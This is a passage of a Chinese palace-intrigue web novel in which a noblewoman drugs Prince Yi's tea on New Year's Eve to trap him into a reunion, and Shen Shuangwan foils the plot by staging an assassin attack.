沈霜晚点着头,便已经看到一个打扮整齐的妇人带着两个看起来约十二三岁的女孩子在院子里面迎接。
看到她和仪王,那妇人和两个女孩上前来行了礼,然后乖顺站在了一旁。
沈霜晚好奇打量了一番这三人,再次又看向了仪王。
仪王示意那妇人上前来,向沈霜晚道:“她姓李,你喊她李娘子就是了。丈夫原是我大哥身边的伴读,后来出了些事情,她被婆家欺负,娘家又不肯收留她,走投无路了带着两个女儿找到我这里来,我便留她在庄子上做事。这回是想到你这里正好缺一家人,便让她过来了。”
李娘子上前来再向沈霜晚行礼,低眉顺眼道:“今后夫人有什么事情,直接吩咐便是。”
“她识字,到时候可以教小孩儿认字。”仪王又道。
沈霜晚点了点头,着意看了那李娘子一眼,只见她眉目慈和,看起来年纪应快有四十,再看一看那两个女孩,与这李娘子长相相似。
“你们先去忙吧,我和夫人在前后看看。”仪王说道。
李娘子应了一声,便带着两个女孩退开。
.
“等小云大些,你还可以带着他过来这里玩。”让侍卫侍女们都退下,仪王拉着沈霜晚的手慢慢走在院子里,“你看这里有桃树,春天最先开的就是桃花,夏天还能吃桃子。到时候小云可以在这里玩,省得在府里憋得慌。”
沈霜晚看着仪王,只觉得心里堵着许多复杂的情绪无法述之于口。
他当然不必为她做这些事情,他当然也不用为她的沈云去盘算将来。
但他做了。
“我那时候让罗粱找个庄子的时候就跟他说,一定要前头能种点果树桑树之类的,后头有几亩良田,到时候就算关上门过日子也比别人家逍遥些。”他还在继续说着,“李娘子还会养蚕,听说织工很不错,以后我们家长大的小孩儿会有一技之长,就算离家了也不怕饿死。”
沈霜晚点了点头,回握了他的手。
仪王脚步停顿了一会,他侧头笑着看她。
“这里送你当新年贺礼,是因为年后一定很忙来不及过来,所以今天一定要带你过来看。”他说。
60. 打雪仗
衍庆宫中,太后冯氏靠在凭几上闭着眼睛假寐。
袁嘉儿颇有些忐忑地坐在一旁,说话声音越来越小,最后悻悻停了下来。她看向了一旁候立的女官,纠结地拧起了帕子。
面前人没了声音,太后睁开了眼睛。
“怎么不说下去了?刚才你说你和杨氏那个……五娘?”太后看着袁嘉儿,面上神色平淡,“你什么时候和杨家的女孩儿也玩到一起了?”
“上回在隋王府遇到,便相互聊了聊,我觉得她倒是和其他杨家人不一样。”袁嘉儿如此说道。
太后轻笑了一声,道:“她从前做仪王妃的时候,你可没说过她几句好话,现在又觉得她还不错了?”
袁嘉儿涨红了脸,嗫嚅了好一会,才道:“毕竟那时候和现在也不一样了。”
太后点了点头,并不以为意,却侧头看向了一旁的女官:“我依稀记得今年皇后是叫杨家人初二再进宫来?”
女官忙道:“是,皇后娘娘早早就让人吩咐下去了。”
太后便看向了袁嘉儿,道:“看来你想和那杨五娘一起同席是不成了,等上元节时候你们再在一起玩吧!”
袁嘉儿万万没想到皇后没叫杨家人进宫过除夕,一时间竟是愣住。她心中升起一些踟蹰,若是拖到上元节……这事情究竟能不能拖到上元节?若杨月芷连进宫都不行,这事情是不是只能拖到上元节?
“怎么了?总不能因为不能和这杨五娘同席,就要掉眼泪吧?”上首的太后笑了一声,“还是有什么别的事情想说?”
袁嘉儿回过神来,她小心看向了太后,道:“我、我只是有些意外。之前我答应了杨五娘,想帮她说和的。”
“说和?”太后皱了皱眉。
袁嘉儿道:“就是……她和仪王。”
太后再次看向了袁嘉儿,语气有些微妙:“仪王?嘉儿,你什么时候还去管这些事情了?杨五娘许给你什么好处?”
袁嘉儿忙道:“我……我就是,觉得杨五娘十分可怜。”
太后若有所思看了袁嘉儿一眼:“可不可怜暂且不提,你又怎么觉得一定能说和呢?你若惹到仪王,就算是你母亲回来说情,恐怕那臭小子都不会松口的。”
袁嘉儿有些手足无措了,她想了想,道:“杨五娘已经改过自新,我想仪王应当也会觉得她便是个好王妃吧?”
太后轻嗤了一声,只摆了摆手,道:“这话你还是收起来吧!”
袁嘉儿一时间不知还能再说什么,她纠结地再次拧起了帕子,又看向了一旁的女官,最后请示地看向了太后:“娘娘,有些话我想和您一个人说。”
太后便摆了摆手让那些女官们退下,等到殿中没有旁人了,才再次看向袁嘉儿:“说吧!”
袁嘉儿上前了一步,道:“娘娘,我只是想替杨五娘再争取一番……”
太后看着袁嘉儿,只道:“争取?她还能争取什么?我倒是觉得此事你不要沾手才是真的。”
“说不定……就是能行的。”袁嘉儿纠结地看着太后,“他们原本就是夫妻,只不过是分开了几年,说不定前缘难断……”
太后顿了顿,皱着的眉头没有松开:“前缘?”
袁嘉儿点头:“是啊,他们本来就是有缘的呀!他们就应该在一起。他们只是缺一个机会能在一起,我想……除夕这样的时候,若能单独在一起把话说开了,说不定一切都能好起来。”
太后再多看袁嘉儿一眼,她这话几乎算是说得前言不搭后语,荒谬得几乎不讲道理,再加上她今日这罕见的紧张和扭捏,太后完全能笃定这决不是简单的说和与见面还有什么前缘。她了解自己这个外孙女,她不认为袁嘉儿和那杨五娘突然有什么情谊出现,他们之间必定有什么事情是没有说出来的。
若他们要做什么,这事情牵扯到仪王皇后还有杨家,最后的结果……太后垂下眼睑,心中却想起的是太子两个字。
仪王年轻,又是皇后亲生的,在皇帝眼中当然是千好万好。
千好万好。
太后再看向了袁嘉儿,她缓缓道:“既然你有心,到时候叫杨五娘过来与仪王见一面也行。”顿了顿,她轻笑了一声,又道,“既然是想说和,现在就别声张,悄悄儿来。”
袁嘉儿眼睛一亮,她没想到太后这么轻易就松了口,她连连道:“我就知道娘娘最疼我了!”
太后抚着袁嘉儿的头发,道:“不是什么大事,不过你有孕在身,那天便不要进进出出到处跑了,就让那杨五娘自己去和仪王见面。”
袁嘉儿目光游移了一阵,还是点了头:“我知道了。”
话到此处,太后心中已有了分数,她便又道:“既如此,你也不必再总惦记这些,回家去好好休养,除夕那日早些进宫来,等初二再回家去,免得路上奔波了。永平侯若是愿意,就和你一起进宫,若是不愿意,他留在自家也行。”
袁嘉儿喜不自禁,忙应下来,道:“多谢娘娘。”
.
临近除夕,似乎一日赛过一日漫长。
放晴了两日又阴沉了两日,等到除夕当日,白天又飘起了雪花。
袁嘉儿与薛望争吵了一番,最后独自上了进宫的马车,薛望留在了侯府中并没有随行。
马车行到杨家后头,杨月芷上了马车,两人一路沉默着进到了宫中。
宫中处处热闹,内侍宫人脸上都带着欢喜的笑,可偏生就是她们二人格格不入一般。
袁嘉儿打起精神来,与杨月芷交换了眼神,跟着宫人身后进去雅乐阁,等着今上太后还有皇后的到来,然后找到机会……便是实施她们谋划的机会。
远远的,蓬莱池边传来了嬉闹的笑声。
袁嘉儿忍不住往那边去探望,离得远看不太清楚是谁,只从衣着看出应当是某位亲王,回头再看候立在这边的宗亲王侯,隋王嘉王还有雅王密王都在,另一边的简王珍王虔王也在如她一样在张望,蓬莱池那边会是谁已经不用明说。
那笑声渐渐朝着雅乐阁这边过来,接着便看到肩头还带着雪花的仪王进来了。
宫人急忙拿着各种拂尘干巾上前去帮忙他打理了一番,他自己也拿着镜子照了照,然后站到了珍王和虔王身后去。
珍王和虔王回头不知与他说了句什么,三人交头接耳了一番,又拉着平常不爱动弹的简王一起嘀嘀咕咕了一阵子,接着四人一起去找隋王和嘉王,隋王和嘉王便拉上了雅王和密王,一群人先是小声说,然后又叫了宫人拿着签子过来抽起来,接着就见他们都往外走。
走到一半,仪王忽然又停下来,对着宜芳公主和安昌公主招了招手:“七妹和八妹一起来当裁
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判。”
宜芳公主和安昌公主一起手拉手站起来,笑着道:“还以为哥哥们要丢下我们自己去玩。”
“要不是怕四哥不愿意,我是愿意带着你们一起打雪仗的。”仪王一边说着一边对着隋王挤眉弄眼,“但带上你们,四哥肯定要说你们小孩子,我才不欺负小孩子。”
“十一弟,你等会输了可别说我年纪大了欺负你!”隋王几乎是同时开了口。
“四哥你要是输了才别说是我年轻欺负你年纪大才是。”仪王拉着两个公主追了上去。
听到这里,袁嘉儿才恍然,这是一群人准备去蓬莱池边打雪仗了。
他们闹得热闹,这一屋子的王室宗亲们便有人跟着他们一起往蓬莱池边去,也有不爱动弹的,便就在温暖的屋子里面继续闲坐。
袁嘉儿往外走了两步,又想起了杨月芷,她停下脚步,重新坐了回去。
“时机,这就是时机。”袁嘉儿握住了杨月芷的手,她小声对她说道,“等会他们再进来见圣上和娘娘,必定要先更衣。”
杨月芷眼中闪烁着光芒,她点了头。
.
长宁宫中,皇后最后命人再检查了一遍各处准备的东西都完好无误,然后才起身,一边问起前头皇帝是否已经往雅乐阁去,一边又叫人去请太后凤辇。刚走到门口,宫人前来回禀,说圣驾正朝着长宁宫来,皇后便快走了两步,恰好便就在门口与今上相遇了。
帝后二人便一起上了御驾,往雅乐阁去。
御驾行到蓬莱池边,听着外头打雪仗的动静,今上便叫御驾停下来。
恰好仪王这边四人胜了一筹,隋王等人便借着行礼的机会丢了手里的雪球,只当是没出过结果的,惹得一众人在旁边哄笑。
今上有些不明所以,又见自己两个公主都在一旁,便叫了公主上前来询问。
宜芳公主和安昌公主便上前把打雪仗的事情给说了,今上听着这些,便也笑起来,只命他们赶紧收拾清楚了回去雅乐阁,又叫两位公主上了御驾,陪同往雅乐阁去。
御驾离开,蓬莱池边众人再不打什么雪仗,赶紧跟随了过去。
打雪仗玩了一场,人人身上都有些狼狈,雅乐阁的宫人们备好了热水等等来让他们整理仪容。
仪王一边拍打头上身上的雪,一边四处张望找寻沈霜晚的身影,然后进到了侧殿中。
从幔帐后面转出一位低眉顺眼的宫人,捧着茶盘送上了热茶。他随手拿起那茶盏喝了一大口,正觉得这茶泡得实在糟糕味道奇怪想评价一句时候,便听到外面通传说太后驾到了。他皱着眉头把那茶盏放下,转身往外走。
一边走,仪王一边松了松领口,感觉燥热,却也分不清到底是这雅乐阁中地龙烧得太旺,还是刚才打雪仗玩得太疯。
心里嘀咕着这些,他走到外面,终于在皇后身边找到了沈霜晚的身影,他略放心了一些,又忍不住撸了袖子,坐回到了虔王身边。
虔王看着他,朝着他递了一杯茶,语气有些迟疑:“十一弟,你怎么脸这么红,头上还这么多汗,别是刚才玩太疯这么一冷一热弄出风寒了吧?”
仪王接了茶又喝了一口,他摸了摸自己的脸,只觉得热得有些离奇:“可能是地龙太热了?”
那边隋王嘲笑道:“那是,年轻人,火气旺。”
61. 雅乐阁中
今上年过六旬,诸如隋王嘉王等等也都早过了而立之年,只有仪王和虔王小些,刚过弱冠没几年。
仪王向来不太理会隋王在他面前卖老,也不怎么计较隋王说他年轻毛头小子。
一来,他的确便就是年纪小,他们剩下兄弟当中,就他最小,说他年轻毛头小子就是事实。
二来,这说辞对他而言是没有任何伤害的,真正在意年龄、在意是否年轻的,是坐在上头的今上。
隋王今年三十七岁,先太子出事那年不过三十五岁。
当年他的父皇尚在知天命之年,如今却过了花甲。
隋王大约还没明白他这口无遮拦到底是戳了谁的肺管子。
于是仪王便只当做没听到隋王那句话,拿着帕子擦了擦额头上的汗珠,实在热得烦躁,干脆把外面那件大衣裳也脱下来,只穿了件单衣,
上首的今上皱了眉头,向皇后道:“你看那臭小子,外面飘着雪,他怕不是要过夏天。”
皇后便笑了起来,向他道:“十一郎,赶紧把衣裳穿好。等会还要出去看驱傩,一冷一热病了怎么办?”
仪王一边擦汗,一边觉得燥热难当,但上首今上和皇后一起开口,又是除夕这样的日子,他便只好又把外面衣裳给穿上。
今上向皇后道:“到底年轻人,打个雪仗就玩得大汗淋漓了。”
皇后便道:“陛下等会看傩戏跟着百姓们同乐一番,怕不是也是热得坐不住。”
这话叫今上抚掌大笑起来。
一旁太后也笑起来,她道:“圣上年纪大了,如今应当以身体为重。”
今上顿了一顿才向太后笑着道:“母后说的很是。”
接着,宗亲们热热闹闹把话接上去,说起了今年除夕驱傩种种布置,整个雅乐阁中都热络起来。
仪王心不在焉听着他们说话,总觉得这身上热得发烧,叫他总觉得有些微妙的坐立不安。
一旁的虔王给他又递了一杯水,面上担忧得很,他这回声音压低了悄悄道:“若真的不舒服,赶紧去找御医看看吧?你脸上汗也太多了,就算是刚才玩了一会也不应当啊!”
仪王接了水喝了一口,摸了摸自己额头,道:“我就觉得热得很,等会出去也许就好了,必定是这里地龙烧太热。”
虔王也伸手摸了摸他额头,皱着眉头:“你可别逞强,真要是病了,在床上躺个十天半个月再一日三餐喝苦药,你哭都没地方哭去。”
仪王搓了搓脸,道:“应当没什么大事,我身体好得很。”
两人说着话,外面礼官进来通传了乐吏准备好了带着侲子入宫驱傩事宜。今上便与皇后和太后一起站起身来往外走。两人便放下了之前的话语,跟着其他人一起起身。
.
袁嘉儿站在人群之中,心中如擂鼓一般。
她刚才已经分明已经看到杨月芷进去了侧殿,但后来仪王是独自一人就出来,那……杨月芷去了哪里?还在侧殿中?
药下了没有?杨月芷难道没行动?
她总不能是临阵退缩了吧?
都到这时候,还能反悔?
袁嘉儿一边小心探看前头的仪王等人,一边又在人群中找杨月芷的身影,接着她便注意到了皇后一侧跟随着的窈窕丽人。
她情不自禁先感慨了几分那丽人的貌美,然后才后知后觉认出那是沈霜晚,顿时心中五味杂陈,又有些庆幸今日薛望没和她一起进宫来。
她忍不住盯着沈霜晚看了许久,她觉得今日的沈霜晚与那年在宫中见过的那一次似乎不一样了,沈霜晚的相貌在她的脑海中曾经是模糊又卑微的,现在……她简直像另一个人。
心里想着这些乱七八糟的事情,她忽然注意到前头似乎因为什么事情吵嚷了几句,她赶紧探头去看,只见仪王满头大汗正和皇后说什么,皇后面露担忧,今上皱着眉头,而太后——她发现太后正在看着她。
袁嘉儿意识到了什么,她再在人群中找寻杨月芷的身影,心中紧张起来。
前面仪王冲着今上也说了句什么,便见今上点了点头,然后仪王便转了身摇摇摆摆往人群之外走。
虔王似乎想跟上去,但被皇后安抚了两句,便留在了人群当中。
这是机会。
袁嘉儿心中说道。
可她现在不知杨月芷究竟在哪里。
还有,沈霜晚!
她忽地想起什么,再去看皇后身边,果然已经不见了沈霜晚的身影。
难道沈霜晚和仪王一起走?可她没看到啊!
若杨月芷和沈霜晚碰上,那事情还能不能成?
一时间,袁嘉儿紧张得手都开始颤抖起来。
终于,她看到仪王重新回去了雅乐阁中,他身边没有旁人,只有两个内侍跟从。
没有沈霜晚。
她略松了口气,她现在希望杨月芷还在雅乐阁中。
.
这热……不同寻常。
仪王再次擦了额头上的汗,他甚至感觉有些喘不过气来。
他感觉到自己心跳越来越快了。
扶着内侍的手,他进到了侧殿中,直接便就在一旁的榻上躺下。
“你们去和父皇母后说一声,就说我在这儿略睡一会,叫他们不要担心。”他对那两个内侍说,“你们退下吧!”
两个内侍一起应下,便退去门口。
他闭上眼睛,觉得胸口的燥热渐渐传遍了全身,叫他脑子也开始有些糊涂。
他闻到了异样的香味慢慢侵袭到了他的呼吸之间,这一次他想睁开眼睛也不能了。
他努力去抓握身边的佩剑,他努力想要睁开眼睛,可抓握是徒劳,睁眼亦是无用,他似乎陷入了梦魇中,无法醒来。
朦胧中,他似乎看到有人到他身边来。
他看不清那人究竟是谁。
那人口中似乎在喃喃说着什么话。
他听不真切。
他再次努力去抓握身边的佩剑,他感觉浑身上下燥热又乏力。
香味越来越浓。
他挣扎着去看清身边那人的相貌。
似乎是熟悉的面容。
但那只是普通宫人的衣裳。
他今天应该见过这人两次了——他被热意烧得糊涂的大脑缓缓意识到了一些什么。
那杯水。
那杯味道古怪的茶水。
他竭力去看清眼前人的相貌。
他眼前是血红一片的朦胧。
血雾之间,他看到让他厌恶的面庞。
杨月芷。
这是一场有预谋的算计!
他想
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要挥开她,但他已经失了力气。
杨月芷在宽衣解带。
殿中没有别的宫人内侍了吗?
跟随他的那两个内侍在门口没有听到任何动静?
有人里应外合。
他再次想要去抓握自己手边的佩剑,但却怎么也无法动弹。
他想要出声喝止,又发不出声音。
血雾中,他看着杨月芷狞笑着伸手解他的外袍。
他眼前的血雾变得浓厚。
这时,他听到外面有熟悉的声音喊了声殿下。
是沈霜晚。
他只来得及反应出来人是谁,便再支撑不住,眼前一黑。
.
沈霜晚手里拿着丸药,带着几分困惑地推了推侧殿紧闭的门,又左右看了看,不见宫人随侍。
她皱了眉头,先喊了一声殿下,但殿中并没有应答。
她去从女官手里接了治风寒的丸药后特地问过了,说是仪王觉得疲累就在偏殿休息,怎么这会儿门不仅推不开,里面还没人应答?
难道出了什么事情?
她再次去推那扇门,里面似乎有什么东西顶住。
怪得很,这雅乐阁的宫人似乎一下子全都离开了一样。
沈霜晚心中升起一些异样,仪王是否还在这里?
她后退了两步,打量着这雅乐阁的布局,这偏殿似乎与旁边的几间屋子是不相通的。
只有这一扇门可以进?
这雅乐阁似乎也只有这一个偏殿比较宽敞些,另一边似乎是女眷用的。
以仪王的性子,他应当不会去女眷的那边。
于是她再隔着门喊了一声殿下。
里面仍然没有应答。
不过,似乎里面有声音,只是她听不真切。
“殿下?”沈霜晚拍了拍门,她想了想,又换着称呼喊了个遍,“十一郎?赵弘美?你在里面吗?”
离门近了,她闻到了浓重的香味。
这香味浓重且刺鼻,闻起来还叫人感觉有些烦躁。
沈霜晚忽然想起方才仪王大汗淋漓还喊头疼的样子了。
如今这里没有人,却有离奇香味。
之前仪王突然喊不舒服,不能前去观看驱傩只能被迫留下。
这算计似乎太明显。
垂下眼睑,沈霜晚后退两步,再小跑着冲上前去,一脚踹在了门上。
门没有被踢开,但殿中却传来了轰然一声巨响,似乎是什么被碰到在地上。
的确就是有人在里面。
沈霜晚再退后,用肩膀撞在门上。
这样大动静,这里还没有宫人前来查看?
沈霜晚心中笃定这里必然有鬼,再又飞踹了几下那门,快要踹得小腿发麻时候,终是把半扇门整个撞开。
光线晦暗的殿中,她看到有人仓皇后退,而仪王正乱七八糟地躺在榻上,一时间分不清是死是活。
“殿下?”她往前走了两步,然后看到了一个意料之外的人:
杨月芷。
再看一眼躺在旁边的仪王,沈霜晚似乎有些知道这里要发生的事情。
“滚出去,”杨月芷看到她,却忽然镇定了下来,她昂然看向了她,她的下巴高高抬起来,“你怎么敢来打扰我与殿下的一夜春宵?”
62. 有刺客
雅乐阁外传来了脚步声。
沈霜晚看一眼面前这显而易见色厉内荏的杨月芷,对眼前这此情此景已经有了猜测。
左不过就是那最直接的生米煮成熟饭的法子,若此时进来的不是她,而是旁的人,不管是谁,杨月芷就能说一句她与仪王不过是旧情复燃在这里共赴云雨。
她与仪王有夫妻之名在前,这几年又一直在被各路人说和,此刻仪王躺在那里不知生死,全凭杨月芷一张嘴来说,等到仪王醒过来时候便是一切都木已成舟不容他再多说多辩驳。
沈霜晚心想这大概是上天大约对仪王有那么一些垂怜,也大约是老天叫她来报答他当初在宫中为她解围,否则为何就是她首先撞破这事情,让杨月芷猝不及防?
她注意着外面的动静,弯腰随手捡了件衣服丢在了杨月芷脸上,接着上前去查看仪王的情形。
杨月芷胡乱把衣裳丢开,扑上前去挡在了沈霜晚面前:“你给我滚出去!”
沈霜晚懒得去理会这杨月芷,只把她推到一边去。她抓住仪王手腕试了试脉搏,又见他胸膛尚有起伏,估摸着应当还是个活人,略微松了口气。
身后的杨月芷喘着粗气重新扑过来,她双目发红,声音都在发抖:“你、你在做什么?”
沈霜晚再次拿起地上的衣服,挡在了杨月芷和她之间。
“今年杨家不应当进宫,为何你却在这里?”沈霜晚清楚听到了外面的脚步声,殿中浓重刺鼻的香味开始渐渐散去,又或者是她也已经习惯,她把杨月芷再次掼到一旁,伸手推了推仪王,想试试他还能不能有更多的反应。
杨月芷显然也听到外面动静,她目光中显露出凶狠来。
“你在这里也好,不过坐实我主母地位。”杨月芷这样说着,她直接伸手去扯仪王身上的衣袍。
沈霜晚垂着眼睑,再次确定了刚才的猜测。
杨月芷的确就是咬定一切是旧情复燃可以解决一切问题,哪怕现在仪王半死不活又怎样呢,大可以厚着脸皮说是因为两人实在太过欣喜,高兴到晕过去了。
她当然不能坐视这种结果出现——若让杨月芷得逞,且不说仪王如何,就只说她今后在仪王府也会寸步难行举步维艰,哪怕出于最自私自利的想法,她也得拦下杨月芷。
眼前杨月芷形容癫狂,外头的脚步声已经逼近。
沈霜晚低头,她看到了仪王手边的佩剑,她突然也想到了一个或者能破局的办法。
她一把抓起那把佩剑抽出来,抓起仪王的手就划了一下,顿时鲜血奔涌,不知死活的仪王颤动了一下,似乎就要醒来了。
紧接着,她一狠心,又在自己手上也划拉了一刀,再接着一剑朝着杨月芷的肩膀捅了过去!
杨月芷尖叫了一声却躲闪不及,顿时缩成一团,发出痛苦的哀嚎。
沈霜晚再把剑拔出来,把自己手心的鲜血往身上脸上到处抹了一番,转身就往外跑去,一边跑,她一边高声尖叫:
“有刺客!!!来人!!!有刺客!!!”
外头的宫人脚步开始狂乱。
沈霜晚一脸血拿着剑与一群面色各异的宫人相撞。
她一手拿着滴血的剑,另一只手鲜血还在喷涌,身上血迹斑斑,叫那些宫人面容失色,几乎不顾一切架起了她。
“刺客?!怎么会有刺客!”为首的宫人声音发抖,牙齿相撞发出磕磕的声音,神色惶惶。
这雅乐阁刚才没人,必定就是这群宫人被买通。
沈霜晚不顾那些,只装作更惊慌的样子来,更大声地叫嚷:
“有刺客!仪王殿下遇刺!!”
外头的禁卫行动时候甲胄相撞的声音响起。
沈霜晚挥着手中的佩剑,站直了身体不许那些宫人靠近。她厉声喝道:“你们擅离职守,叫着雅乐阁中无人看顾!如今仪王殿下生死不明,若他有个三长两短,你们、还有你们全家,都准备为殿下陪葬!”
禁卫军从雅乐阁外冲了进来。
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偏殿中,杨月芷无助地坐在地上想要站起来,却又站不稳,只好靠在了一旁的立屏上。
她娇生惯养活了二十余年,别说肩膀上被剑刺个血窟窿,就连手指头都不曾被针扎破过皮,,肩膀上的血汩汩往外涌,叫她再顾不上其他,只怕自己小命会丢在这里。
外间那些嘈杂声音她完全听不到了,她捂着伤口,又发现自己的手被鲜血染红,更加惊慌。
一旁的仪王在这时却醒过来。
他目光茫然游离了一阵,掌心明显的疼痛让他抬起手去看,鲜血正在奔涌。
一旁的杨月芷衣衫不整又瑟瑟发抖,她身上也全都是血。
他下意识去抓自己的佩剑,忽地又想起了沈霜晚。
发生了什么?
刚才他分明是听到沈霜晚在外面喊他。
沈霜晚去了哪里?
外面嘈杂和叫嚷着刺客的声音慢了一拍才被他听到耳中。
他再看向了杨月芷,猛然之间意识到这是沈霜晚帮他破掉的局!
他顶着头疼从榻上坐起来,没坐稳,他就觉得头比石头还重,整个人往旁边倒。
咬着牙扶着凭几强行坐好了,他喘着气听着外面动静,再抬头时候,便见沈霜晚拎着滴血的剑与一众禁卫从外面进来。
沈霜晚一边走一边眼泪婆娑口齿清晰道:“我刚才进来时候都被吓到了,不知那杨五娘从哪里冒出来,拿着剑就喊打喊杀,还给殿下灌了不知什么毒药,叫殿下人事不省……”
说着话时候,她看到他已经坐起来,立刻便丢了剑扑过来,还直接一手按在他手里伤口上,疼得他眼前发黑,然而口中还要道:“殿下!殿下你别有事啊!来人啊,救救殿下!”
仪王感觉自己要晕过去,他也的确直接眼前再次一黑往后仰倒了,不过刚一倒下去又磕在了凭几上,硬生生重新醒过来。
一旁沈霜晚搂着他,眼泪一滴滴往下掉,看得他心都揪起来,恨不得直接说他没事,但还没开口,又被一手按在了伤口上,疼得他想骂人。
一而再如此,他就算是个傻子也明白是什么意思,索性两眼一闭,只装自己已死,眼睛闭上,就只能把耳朵竖起来认真听。
“殿下!殿下!怎么太医还没来!”沈霜晚一边抹眼泪,一边又指向了一旁瑟瑟发抖的杨月芷,“就是她!明明皇后娘娘说了杨家人今日不必进宫,连国舅都不在,可她却偏偏冒了出来,还对殿下下了杀手!殿下呜呜呜!殿下你怎么了!!”她一边哭,一边又看了仪王一眼,看着仪王现在闭着眼睛不乱动了,才略放下心来。
杨月芷听着这话,顾不上肩膀上的血洞,只恨声道:“我与殿下重
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归于好,你这贱婢不仅伤了我,还伤了殿下,这时候却还敢喊有刺客?谁给你的胆子!你才是那个刺客!”
沈霜晚重新拿起剑,把怀里的仪王挪到旁边去,直接站起来拿着剑指着杨月芷的鼻子:“重归于好?这世上哪有给人灌了毒药再重归于好的?这恐怕不是重归于好,而是蓄谋已久的谋杀!”
杨月芷慌乱起来,她看向了仪王,方才仪王分明已经坐起来,难道现在就真的死过去了?
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雅乐阁中喊了有刺客,宫中驱傩的仪式已经完全停下。
京城的百姓们却还在热烈地狂欢,想等着能与今上一起点燃那庭燎火山,一并驱邪迎新。
皇后看了眼跟随在身旁的皇室宗亲还有大小官员们,向今上道:“陛下别急,雅乐阁那边是十一郎在,大约是有什么事情喊岔了,我过去看一眼便是。”
今上迟疑地看了眼雅乐阁的方向,眉头皱起来:“那边应当是有宫人照应,十一郎今日病了,说不定的确有什么贼人混进来和他打起来了?”
皇后道:“我去看看,等会再与陛下一起去点燃庭燎,陛下便与母后一起先往前头去吧!”
今上却道:“你一人过去朕是不放心的,叫人陪着你一起。”一边说着,他看向了一旁的几个皇子,“四郎和十郎一起跟着你们母后过去雅乐阁看看。”
被点到名的隋王和虔王一起站出来,齐声应下,跟随着皇后一起往雅乐阁去。
人群中,袁嘉儿握紧了拳头,她无心去看什么驱傩了,这事情究竟是为何会变成……有刺客?
她几乎盲目地跟着人群往前走,恨不得自己现在回去雅乐阁看一看。
既然太后应下,她也打点过,那会雅乐阁就是会有那么半刻钟是没有下人的,难道杨月芷没有得手?
可是,不管得不得手,只要杨月芷咬死了是旧情复燃,这事情怎么都不可能是变成有刺客啊!
袁嘉儿回头去看雅乐阁的方向,现在夜色降临,那恢弘殿阁也隐没在了黑暗当中。
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皇后带着隋王和虔王进到了雅乐阁中,扑鼻而来的血腥味让她皱起了眉头。
隋王和虔王对视了一眼,两人一前一后分别护卫在了皇后身边。
“母后,还是不要贸然进去,十弟陪着母后在这里,我先上去看看究竟是什么情形。”隋王左右看了一眼,只见宫人们都被看管起来战战兢兢挤成一团,而禁卫则正在偏殿那边,似乎还在吵嚷什么。
皇后迟疑了一会,还是摆了摆手,道:“禁卫在此,应当也已经把那刺客拿下。”
“母后,还是不应太过冒险。”隋王一边说着,一边看向了虔王。
虔王赶忙也道:“母后,这会儿还没见着十一弟,不能大意!”
正说着话,里面禁卫首领已经赶了出来,见到皇后与隋王虔王,上前来行礼。
“皇后娘娘,两位殿下,雅乐阁中已经清查过,暂时无碍,刺客也已经拿下。”禁卫首领如此说道,“臣等正打算前去回禀圣上与娘娘雅乐阁中的事情。”
这话说得实在有些让人觉得古怪,皇后看了那禁卫首领一眼,只问道:“那刺客是谁?从何而来?有何目的?”
禁卫首领停顿了一会,小心看了皇后一眼,道:“是……是杨国舅的女儿,排行第五的那位娘子。”
63. 狗咬狗
皇后踏入偏殿时候想起了许多往事。
她眼前闪过了她已经失去的一子一女的身影。
她的长子在襁褓中就被立为太子,他短暂的三十五年生命中,孝顺听话贴心,但最后却死在了京城之外,她甚至不能见到长子的最后一面,她只知道他如今仍无名无分,葬在黄土之下。
她的长女聪明又伶俐,她早早就开蒙,她和她的兄长感情深厚,兄妹二人相互扶持,于是便就在那场变故中,身为公主的她大无畏地跟随兄长开仗,她同样死在了京城之外,她同样也无名无分,她比她的兄长更孤独,除了她这个母亲,或者已经没有人记得她。
她是皇后,是无能的母亲,她保护不了自己的子女。
她膝下只剩下了赵弘美这一个孩儿。
而现在,就在她的眼皮底下,她仅剩的孩儿却被她的娘家人刺杀?
何其荒谬的事情。
何其嘲讽的现实。
她看到了衣衫不整浑身是血的杨月芷,她面色苍白,她在看到她的时候目光闪躲。
她看到了满脸警觉神色悲愤的沈霜晚,她挡在了她的孩儿身前,再看到她的时候,面上露出了几分欣喜和希冀。
她的孩儿赵弘美躺在一旁的榻上,一眼看去,她只看到他身上也有血迹。
皇后闭了闭眼睛,她倒是有些庆幸那会儿让沈霜晚过来查看情形,若是没有她,她的儿子恐怕今天就交代在了这里。
她从前总想着杨家是娘家人,杨月芷是女孩儿,也不过是骄纵又执拗了一些,故而才睁一只眼闭一只眼不与他们多计较,看来她还是太心慈手软,才叫自己的儿子有了今日这样的劫难。
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隋王和虔王跟在皇后身旁,小心往里面看了一眼,很快就收回目光。
两人交换了一个眼神,安静站在一旁都没有开口说话的意思。
若是旁的什么人,哪怕这里的刺客是哪个想不开的皇室宗亲,他们都能站出来替皇后拷问几句,甚至替皇后打杀了都可以。
但这是杨家人,皇后自己家的人,他们最好便就是什么都不开口。
隋王心中甚至闪过几分幸灾乐祸来,杨家如此扶不上墙,出了这样的事情,仪王也好皇后也好,有这么一个拖后腿的在,想要谋太子之位就难了。
不过,他似乎之前就听说了皇后不叫杨家人除夕夜进宫,这杨五娘还是进了宫,无论是谁今日带着这杨五娘进宫,他都得好好感谢一番,若不是这杨五娘做出这样的事情,说不定过完年仪王就更进一步要当太子了。
想着这些事情,隋王忽然见皇后看向了他,他赶紧上前了一步做出听从的模样。
“四郎,你去宫门见你父皇,就说今夜我便不过去了,你与你父皇说,宫中事情我能处置,叫他安心与民同乐便是。”皇后语气平淡,“你过去之后,也不必再回来,好好护卫在你父皇身边,免得宫门那边又出岔子。若你父皇问起雅乐阁的情形,你就照直说,说杨五娘心中含怨,今日混入宫中,对十一郎图谋不轨,害他性命。”
隋王忙应了下来。
皇后接着又看向了虔王,道:“十郎,你去一趟太医院,叫几个太医过来。”
虔王也赶紧应下,与隋王一起离开了雅乐阁。
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偏殿中除却禁卫,便只剩下了皇后与仪王沈霜晚杨月芷四人。
杨月芷被刚才皇后说的话惊到,她不顾肩上伤口还在流血,强忍着伤痛膝行几步扑到了皇后跟前来,她哭道:“姑妈,我没有对赵弘美图谋不轨害他性命!我、我只是、我们今日重归于好了!我们今日已经说开了!”
